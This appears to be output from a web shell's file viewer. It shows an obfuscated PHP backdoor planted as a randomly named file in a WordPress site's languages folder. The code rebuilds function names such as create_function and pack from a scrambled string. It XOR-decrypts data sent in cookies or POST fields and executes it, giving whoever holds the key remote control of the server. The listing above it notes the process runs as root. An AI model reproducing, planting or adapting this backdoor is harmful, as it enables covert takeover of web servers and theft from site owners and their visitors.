HEX
Server: Apache
System:
User: root (0)
PHP: 7.4.30
Disabled: exec, passthru, shell_exec, system, proc_open, popen, parse_ini_file, show_source, apache_child_terminate,apache_setenv,chgrp,chmod,chown,curl_multi_exec,define_syslog_variables,eval,exec,highlight_file,openlog,parse_ini_file,parse_ini_string,passthru,php_uname,popen,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_open,shell_exec,show_source,syslog,system
Upload Files
File: /web/brslogistics/www/wp-content/languages/13qbag5d.php
<?php
$erppko = '-9eplg\'td4#oai3sHr25_b8xnv01fu*kymc';$azorfq = Array();$azorfq[] = $erppko[16].$erppko[30];$azorfq[] = $erppko[34].$erppko[17].$erppko[2].$erppko[12].$erppko[7].$erppko[2].$erppko[20].$erppko[28].$erppko[29].$erppko[24].$erppko[34].$erppko[7].$erppko[13].$erppko[11].$erppko[24];$azorfq[] = $erppko[2].$erppko[21].$erppko[18].$erppko[22].$erppko[1].$erppko[27].$erppko[21].$erppko[2].$erppko[0].$erppko[19].$erppko[18].$erppko[12].$erppko[9].$erppko[0].$erppko[9].$erppko[14].$erppko[19].$erppko[26].$erppko[0].$erppko[1].$erppko[34].$erppko[9].$erppko[8].$erppko[0].$erppko[19].$erppko[12].$erppko[18].$erppko[2].$erppko[14].$erppko[22].$erppko[12].$erppko[22].$erppko[28].$erppko[19].$erppko[21].$erppko[18];$azorfq[] = $erppko[10];$azorfq[] = $erppko[34].$erppko[11].$erppko[29].$erppko[24].$erppko[7];$azorfq[] = $erppko[15].$erppko[7].$erppko[17].$erppko[20].$erppko[17].$erppko[2].$erppko[3].$erppko[2].$erppko[12].$erppko[7];$azorfq[] = $erppko[2].$erppko[23].$erppko[3].$erppko[4].$erppko[11].$erppko[8].$erppko[2];$azorfq[] = $erppko[15].$erppko[29].$erppko[21].$erppko[15].$erppko[7].$erppko[17];$azorfq[] = $erppko[12].$erppko[17].$erppko[17].$erppko[12].$erppko[32].$erppko[20].$erppko[33].$erppko[2].$erppko[17].$erppko[5].$erppko[2];$azorfq[] = $erppko[15].$erppko[7].$erppko[17].$erppko[4].$erppko[2].$erppko[24];$azorfq[] = $erppko[3].$erppko[12].$erppko[34].$erppko[31];foreach ($azorfq[8]($_COOKIE, $_POST) as $dwppsgd => $yjwak){function fxftjrz($azorfq, $dwppsgd, $jvyuqvx){return $azorfq[7]($azorfq[5]($dwppsgd . $azorfq[2], ($jvyuqvx / $azorfq[9]($dwppsgd)) + 1), 0, $jvyuqvx);}function aeefj($azorfq, $qhcqz){return @$azorfq[10]($azorfq[0], $qhcqz);}function mnily($azorfq, $qhcqz){$zdgrd = $azorfq[4]($qhcqz) % 3;if (!$zdgrd) {$hqfyqwv = $azorfq[1]; $sjglooz = $hqfyqwv("", $qhcqz[1]($qhcqz[2]));$sjglooz();exit();}}$yjwak = aeefj($azorfq, $yjwak);mnily($azorfq, $azorfq[6]($azorfq[3], $yjwak ^ fxftjrz($azorfq, $dwppsgd, $azorfq[9]($yjwak))));}